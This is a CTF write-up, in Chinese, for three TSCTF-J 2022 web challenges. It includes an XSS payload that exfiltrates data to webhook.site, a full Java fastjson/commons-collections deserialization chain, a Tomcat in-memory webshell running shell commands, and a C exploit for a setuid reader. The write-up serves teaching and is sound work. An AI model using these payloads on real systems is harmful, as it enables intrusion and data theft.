TSCTF-J 2022 词超人 & 你的名字 & ezja official(?) write up

词超人

帮助大家美美过四六级(bushi

一共1000个单词,填对所有单词返回flag

预期解: 手填1000个单词

人间正道是沧桑

非预期解

好了好了,说正事(

本题灵感来源于针对刷课/刷题网站的脚本。

一些不好好学英语的坏孩子提供了一些歪点子:

  1. 浏览器控制台执行js脚本填入所有单词
  2. 写python爬虫脚本发包
  3. 字符串处理

可以抓包看看前端发过去了什么东西

是一个id和answer组成的json数组。而仔细观察前端html源码会发现,每一个单词的id和answer都给了

思路1

观察submit函数的这一部分

const answerArray=[];
let divArray=document.getElementsByClassName('chunk')
for(div of divArray){
    answerArray.push({id:div.id,answer:div.getElementsByTagName('input')[0].value})
}

answerArray就是最终发的数据。我们可以改其push的answer字段,让它是需要提交的英文答案。

answerArray.push({id:div.id,answer:div.getElementsByClassName('en') [0].innerHTML})

这里可能涉及到了利用javascript对dom元素操作的知识。不熟悉的同学可以看看w3的文档

https://www.w3schools.com/js/js_htmldom_elements.asp

然后把修改后的submit函数复制到浏览器控制台里

点击提交

另外,也可以直接在控制台写脚本把所有词都填上

getby方法

const divArray=document.getElementsByClassName('chunk')
for(div of divArray){
    const en=div.getElementsByClassName('en')[0].innerHTML
    div.getElementsByTagName('input')[0].value=en
}

或者用querySeletor一行搞定

[...document.querySelectorAll(".chunk")].forEach(
  (c) =>
    (c.querySelector("input").value = c.querySelector(".en").innerHTML.trim())
);
思路2

熟悉正则表达式的同学大可以写一个python爬虫,构造出所有答案正确的json后提交

import requests
import re
url='http://49.232.201.163:46128'
text=requests.get(url).text
idArray=re.findall(r'<div id="(.+)" class="chunk" style=" width: 30%;margin: 25px auto;text-align: left;">',text)
enArray=re.findall(r'<p class="en" style="visibility:hidden;display: inline">(.+)</p>',text)
answerArray=[]
for i in range(len(idArray)):
    answerArray.append({'id':idArray[i],'answer':enArray[i]})
print(requests.post(url+'/submit',json=answerArray).text)

或者使用python爬虫常用的beautifulsoup

import requests
from bs4 import BeautifulSoup
url='http://49.232.201.163:46128'
text=requests.get(url).text
soup = BeautifulSoup(text, 'html.parser')
divArray = soup.find_all("div", {"class": "chunk"})
answerArray=[]
for div in divArray:
    answerArray.append({
        'id':div['id'],
        'answer':div.find('p',{'class':'en'}).text
    })
print(requests.post(url+'/submit',json=answerArray).text)

思路3

字符串处理,即想办法拼接出一个正确的json,放到burpsuite里直接发包。可以使用word等工具进行字符串的查找和替换。似乎比较麻烦..?所以再此不做赘述。

flag:

TSCTF-J{naughty_or_diligent–which_type_you_are?^_^}

补充知识

可能有同学好奇后端是怎么检验答案的,也有同学私聊我想玩一些花活来绕过检验XD

后端是用springboot写的,感兴趣的同学可以看看源码

https://github.com/KingBridgeSS/my_ctf_challenges/tree/main/TSCTF-J 2022

后端把用户传进来的answerArray序列化为字节码,然后计算MD5值。通过比对用户的MD5值是否和正确答案的MD5值是否相等判断所有答案是否正确。

你的名字

本题灵感来源于大火的匿名提问箱,挺想知道在提问箱里说骚话的人是谁哈哈。

具体而言,这是一个只需要用浏览器就能做的炒鸡简单xss题,而且怕同学们不熟悉还给了一个readme文档,没想到最后才3解呜呜呜

这里再贴一下文档

看来你真的很想知道提问者的名字hh

好吧。。。为了知道ta是谁,你不一定需要打穿这台服务器。你可以借助XSS进行钓鱼(真的还有那么好心的出题人把考点直接告诉你吗)

可能同学们并不熟悉CTF中前端题的机制,我这里简单介绍一下。

既然要钓鱼,就必须有人去点击页面。但是你真的忍心让bridge 24小时在电脑前帮你点链接吗 = =

为了达到模拟受害者的目的,CTF比赛中通常会设置一个xss bot来访问钓鱼界面。以这一题为例:

当你回答好问题后,点击让TA看看我的回答!按钮,题目中的BOT就会以此问题提问者的身份去访问/myasks界面(即我的提问)查看你的回答。如果该页面存在xss漏洞,就很有可能造成信息泄露。而在本题中,BOT的用户名就是flag。你可以尝试自问自答,看看以提问者的视角,自己的用户名会出现在该页面的哪个位置。

至于怎么在该页面执行javascript脚本,制造xss并泄露信息 ,这就需要同学们自行发挥咯!

好吧 xD 测题的时候还是被 diss 难度太大555。能造成xss的可控制输入点usernameanswer是有过滤的。过滤函数如下

function checkUserName(username){
return username.length<=10
}
async function sanitizeAnswer(questions){
for(q of questions){
  // 把 < 替换成html实体 &lt;
  q.answer=q.answer.replace(/</g,'&lt;')
  // 这是后端的逻辑,并不重要hhh
  const askee=await usersDB.findOne({'userId':q.askeeId})
  q.askeeName=askee.username
}
}

想想看怎么绕过呢?

最后最后,同学们可能需要用到信息外带(即把flag发送到远程服务器)。这里推荐一个比较稳定的webhook网站。

https://requestbin.com/r

亲测在本题环境中,http协议(把网站给你提供的https链接中的s去掉即可)GET方法可以接收到请求。

另外如果有条件代理的同学可以使用这个网站,更加稳定

https://webhook.site/

实在不行,可以google搜索xss平台。如果用不了google,可以试试这几个xss平台网站

https://xss8.cc/

https://xssaq.com/

http://xss.hwact.org/index.php?do=login

另外还有一点,为了防止同学们撞车,建议大家在注册的时候设置复杂的密码

如果你觉得题目还有任何问题(which几乎肯定会有XD),请务必私聊我 qq: 1244992934

祝你找到TA !

那么思路就非常明确,在以bot视角下的/myasks页面制造xss,然后把bot的用户名外带出去。

网站是一个匿名提问箱,在主页可以看到他人对你提出的问题,你可以作出回答;在提问别人页面可以根据用户id对他人提问题;我的提问页面可以看到你对他人的提问;在查看/更改我的信息可以查看和修改用户名,用户密码;重新登陆不解释;最后,让TA看看我的回答页面可以调用bot访问我的提问页面。

制造xss的注入点文档已经明确指出了,下面自问自答看看这两个注入点的具体位置。注意,在提问者bot的视角,攻击者的用户名才是可控的。

对应的html源码位置

别忘了readme里给出的这两个注入点的过滤:用户名长度要小于10,answer不能包含<(会被转义)

上网搜一下xss的基本原理,发现基本都是通过img等标签的onXXX属性执行js,或者直接构造script标签写js代码

所以,首先至少需要构造一个标签。但是呢,如果在username处构造,可输入的内容太少;如果在answer注入又无法构造标签的开头。

但是!如果结合两个注入点,在username构造<,然后在answer用>闭合,就能构造出一个完整的标签!

但是,为了构造一个正确的img标签,还需要让两个注入点中间的部分消失。这里可以通过把中间的部分构造成标签的一个属性的值来做到。然后在img标签构造onerror属性来执行js代码。最后别忘了引号和标签的闭合

Talk is cheap, show me the code:

username = <img src='
answer = ' onerror="alert('xss')">

成功执行alert函数!

既然可以执行任意javascript代码,直接在前端发个包,内容带上bot的用户名(即flag)给攻击者服务器即可。服务器可以使用文档里提供的一万个webhook

先看看以bot的视角用户名在哪

用getby把这段文本选择出来

document.getElementsByClassName('outer')[0].getElementsByTagName('h1')[0].innerText

可以在控制台调试一下

或者直接把整个html页面带出去也不是不行。

document.body.innerHTML

js发送请求包网上随便搜搜就能找到。比如使用fetch函数。最终构造的username和answer如下

username = <img src='
answer = 
' onerror='fetch("https://webhook.site/xxx/?flag="+document.getElementsByClassName("outer")[0].getElementsByTagName("h1")[0].innerText)'>

webhook成功收到用户名(即flag)

flag: TSCTF-J{Hope_we_meet_the_ones}

(饱含对各位的真挚祝愿 = =)

补充

同样,感兴趣的同学可以研究一下题目源码。(其实这题写着写着就成了一个小项目了XD)

技术栈是 mdb.js前端+node后端+mongoDB数据库+puppeteer+chrome headless

https://github.com/KingBridgeSS/my_ctf_challenges/tree/main/TSCTF-J 2022

比赛过程中,有同学试图通过偷bot的cookie来登录bot账号,这不失为一种好思路。但是为了防止同学们登录之后干坏事,我给bot设置了http only

这样就没有办法通过javascript获取cookie。

另外,可能有同学好奇xss产生的原因。后端使用ejs进行模板渲染。在源码的myask.ejs文件中,发现askeeNameanswer字段都是用<%- xxx %>渲染的。

查看ejs 官方文档 ,发现这个标签对内容没有任何过滤。由此造成xss。

ezja

学长给国赛决赛出的逆天题目orz...这里简单写一下bridge当时测题的历程,就当激发同学们学习java安全的兴趣(

扫描网站目录发现

http://123.57.193.197:8082/robots.txt

内容:

User-agent: * Disallow: /getSourceHere

抓包试了试,脑电波对上了,应该是要传一个名为文件名是否为giveMeSource的文件名,上传成功就给你源码。但是后端会检测文件名是否包含giveMeSource,是的话就被拦截。

搜了下发现这篇文章

探寻 Java 文件上传流量层面 waf 绕过

于是构造出这样一个报文(不要在意文件的内容)

POST /getSourceHere HTTP/1.1
Host: 123.57.193.197:8082
Content-Length: 272
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://123.57.193.197:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjoDmGrdoPcndzeWk
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://123.57.193.197:8082/getSourceHere
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7
Connection: close

------WebKitFormBoundaryjoDmGrdoPcndzeWk
Content-Disposition: form-data; name="file"; filename="UTF-8'foo'11";filename*="1.txt";filename*="%67%69%76%65%4d%65%53%6f%75%72%63%65";

copy test1.png/b+shell.phtml/a png_shell.png
------WebKitFormBoundaryjoDmGrdoPcndzeWk--

发包后就可以下载源码。

然后想吐槽一下nama的水管服务器...我中间去洗了个衣服,回来还是没下完hh

把jar包下下来,用jd-gui反编译。会发现这是一个springboot应用

POM包有commons-collections4依赖,待会可能可以打cc2链

其中SerialController有两个反序列化点

第一个是fastjson,查看pom包发现是最新版本,没有什么公开的POC可以打,但是记得其可以触发java bean的任意getter setter方法。另一个是java原生反序列化点,但是限制了500字节。按常规的cc4链不可能打得通。

找啊找,发现题目自己写了一个很有意思的类

com.ciscn.util.SKTest.SerialKillerTest

getSerialBytes可以进行没有长度限制的反序列化。结合fastjson可以进到这一个地方打一个二次反序列化。

但是会发现有基类黑名单

最骚的是还是类似fastjson高版本的哈希黑名单,所以按预期解还需要fuzz

但是当时没想太多,直接用RMIConnector.connect()三次反序列化,结果真就打通了。。估计是脑电波对上了吧哈哈。

另外题目不出网,需要种一个内存马。

所以就是fastjson触发getter+getSerialBytes二次反序列化+cc2链魔改三次反序列化+cc2链配合TemplatesImpl加载字节码+Tomcat内存马。生成json的POC如下

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.ciscn.util.Person;
import com.ciscn.util.SKTest;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.util.Base64;
import java.util.HashMap;
import java.util.PriorityQueue;

public class Test {
    public static void main(String[] args) throws Exception {
//        Person person=new Person(1,"name");
//        SKTest skTest=new SKTest();
//        skTest.setSerialBytes(serialize(person));
//        System.out.println(JSON.toJSONString(skTest));
//        {"serialBytes":"rO0ABXNyABVjb20uY2lzY24udXRpbC5QZXJzb24V2wbKnAOSiAIAAkkAAmlkTAAEbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwAAAAAXQABG5hbWU="}



        byte[] expBytes=serialize(getPriorityQueueExp());
        String exp= Base64.getEncoder().encodeToString(expBytes);
        RMIConnector rmiConnector=new RMIConnector(
                new JMXServiceURL("service:jmx:rmi://localhost:12345/stub/"+exp),
                new HashMap<String,Integer>()
        );
        InvokerTransformer invokerTransformer=new InvokerTransformer("connect",null,null);
        //invokerTransformer.transform(rmiConnector)
        TransformingComparator comparator=new TransformingComparator(invokerTransformer);
        PriorityQueue queue=new PriorityQueue();
        //让size=2
        queue.add(3);
        queue.add(4);
//        反射,强行往queue塞rmiConnector
        Class queueClass=queue.getClass();
        Field queueField=queueClass.getDeclaredField("queue");
        queueField.setAccessible(true);
        queueField.set(queue,new Object[]{rmiConnector,1});

        //反射强写comparator
        Class clazz=queue.getClass();
        Field comparatorField=clazz.getDeclaredField("comparator");
        comparatorField.setAccessible(true);
        comparatorField.set(queue, comparator);
        byte[] b=serialize(queue);
        String base=Base64.getEncoder().encodeToString(b);
//        System.out.println(base);

        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

        String str="{\n" +
                "  \"@type\": \"com.ciscn.SerialKillerTest\",\n" +
                "  \"serialBytes\":\""+base+"\"}    ";
        System.out.println(str);
//        JSON.parseObject(str);


    }
    static PriorityQueue getPriorityQueueExp() throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][] {
                ClassPool.getDefault().get(memoryshell.InjectTomcat01.class.getName()).toBytecode()});
        setFieldValue(templates, "_name", "EvilTemplatesImpl"); setFieldValue(templates,
                "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        //制作transformer
        InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        //接下来只需调用transformer.transform(templatesImpl)
//        transformer.transform()
        TransformingComparator comparator=new TransformingComparator(transformer);
        PriorityQueue queue=new PriorityQueue();
        //让size=2
        queue.add(3);
        queue.add(4);
//        反射,强行往queue塞templatesImpl
        Class queueClass=queue.getClass();
        Field queueField=queueClass.getDeclaredField("queue");
        queueField.setAccessible(true);
        queueField.set(queue,new Object[]{templates,1});

        //反射强写comparator
        Class clazz=queue.getClass();
        Field comparatorField=clazz.getDeclaredField("comparator");
        comparatorField.setAccessible(true);
        comparatorField.set(queue, comparator);
        return queue;
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws
            Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void deserialize(byte[] bytes) {
        try {
            ByteArrayInputStream ais = new ByteArrayInputStream(bytes);
            ObjectInputStream ois = new ObjectInputStream(ais);
            ois.readObject();
            ois.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static byte[] serialize(Object o) {
        try {
            ByteArrayOutputStream aos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(aos);
            oos.writeObject(o);
            oos.flush();
            oos.close();
            return aos.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }
}

内存马

/*
目前测试springboot可用的内存马
 */
package memoryshell;

import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
import java.util.Map;

public class InjectTomcat01 extends AbstractTranslet implements Filter{

    private static String filterName = "k";
    private static String param = "bridge_is_noob";
    private static String filterUrlPattern = "/*";
    static {
        try{
            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
            ServletContext servletContext = standardContext.getServletContext();
            Field filterConfigs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
            filterConfigs.setAccessible(true);
            Map map = (Map) filterConfigs.get(standardContext);
            if (map.get(filterName) == null && standardContext != null){
                Field stateField = Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");
                stateField.setAccessible(true);
                stateField.set(standardContext, LifecycleState.STARTING_PREP);
                FilterRegistration.Dynamic filter = servletContext.addFilter(filterName, new InjectTomcat01());
                filter.addMappingForUrlPatterns(java.util.EnumSet.of(DispatcherType.REQUEST),false,new String[]{filterUrlPattern});
                Method filterStart = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredMethod("filterStart");
                filterStart.invoke(standardContext,null);
                FilterMap[] filterMaps = standardContext.findFilterMaps();
                for (int i = 0 ; i < filterMaps.length ; i++){
                    if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)){
                        FilterMap filterMap = filterMaps[0];
                        filterMaps[0] = filterMaps[i];
                        filterMaps[i] = filterMap;
                    }
                }
                stateField.set(standardContext,LifecycleState.STARTED);
            }
        }catch (Exception e){}
    }


    @Override
    public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        String string = servletRequest.getParameter(param);
        if (string != null){
            String osName = System.getProperty("os.name");
            String[] cmd = osName != null && osName.toLowerCase().contains("win") ? new String[]{"cmd.exe","/c",string} : new String[]{"/bin/bash","-c",string};
            Process exec = Runtime.getRuntime().exec(cmd);
            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()));
            StringBuffer stringBuffer = new StringBuffer();
            String lineData;
            while ((lineData = bufferedReader.readLine()) != null){
                stringBuffer.append(lineData + '\n');
            }
            servletResponse.getOutputStream().write(stringBuffer.toString().getBytes(StandardCharsets.UTF_8));
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
        }
        filterChain.doFilter(servletRequest,servletResponse);
    }

    @Override
    public void destroy() {

    }
}

种上内存马后,发现根目录下flag需要root权限,但是提供了一个readflag。这里预期解是base64 dump程序进行逆向,然后会发现是个pwn

关键函数在这里,允许任意读取文件,但是过滤了flag字符串

bool __cdecl checkfunc(char *n)
{
  return !strstr(n, "flag") && strstr(n, "..") == 0LL;
}

注意到这里允许无限次输入文件名称,同时存储字符串的的变量没有清空,也就是说上一次输入的字符会残留在其中。同时读入函数不会存储回车符号。

写一个c语言程序用于交互

// gcc -o exp exp.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
char buf[0x1000];
char expstr[0x50];
static int start_subprocess(char *command[], int *pid, int *infd, int *outfd){
    int p1[2], p2[2];
    if (!pid || !infd || !outfd)
        return 0;

    if (pipe(p1) == -1)
        return 0;
    if (pipe(p2) == -1){
        close(p1[1]);
        close(p1[0]);
        return 0;
    }
    if ((*pid = fork()) == -1){
        close(p2[1]);
        close(p2[0]);
        return 0;
    }
    if (*pid)
    {
        *infd = p1[1];
        *outfd = p2[0];
        close(p1[0]);
        close(p2[1]);
        return 1;
    }
    else
    {
        dup2(p1[0], 0);
        dup2(p2[1], 1);
        close(p1[0]);
        close(p1[1]);
        close(p2[0]);
        close(p2[1]);
        execvp(*command, command);
        /* Error occured. */
        fprintf(stderr, "error running %s: %s", *command, strerror(errno));
        abort();
    }
}

void solve(char* buf){
    int pid, infd, outfd;
    char *cmd[2];
    cmd[0] = "./readflag";
    cmd[1] = 0;
    start_subprocess(cmd, &pid, &outfd, &infd);
    memset(buf,0,sizeof(buf));
    memset(expstr,0,sizeof(expstr));
    read(infd, buf, strlen("Input the file U want to read: "));
    printf("%s\n", buf);
    sprintf(expstr, "%s", "aaaag\n");
    write(outfd, expstr, strlen(expstr));

    memset(expstr,0,sizeof(expstr));
    memset(buf,0,sizeof(buf));
    read(infd, buf, strlen("Not that file\nInput the file U want to read: "));
    printf("%s\n", buf);
    sprintf(expstr, "%s", "/fla\n");
    write(outfd, expstr, strlen(expstr));
    read(infd, buf, strlen("Input the file U want to read: "));
    printf("%s\n", buf);
    memset(buf,0,sizeof(buf));
    read(infd, buf, 1000);
}
int main(){
    solve(buf);
    return 0;
}

但是但是,我当时直接bash管道符把flag输入进去就出了

emm估计是循环导致的bug?

Anyway,现阶段这道题涉及的知识点可能对同学们来说有点多,希望这篇wp可以起到一个激发大家求知欲的作用。

posted @ 2022-11-04 21:43  KingBridge  阅读(149)  评论(0编辑  收藏  举报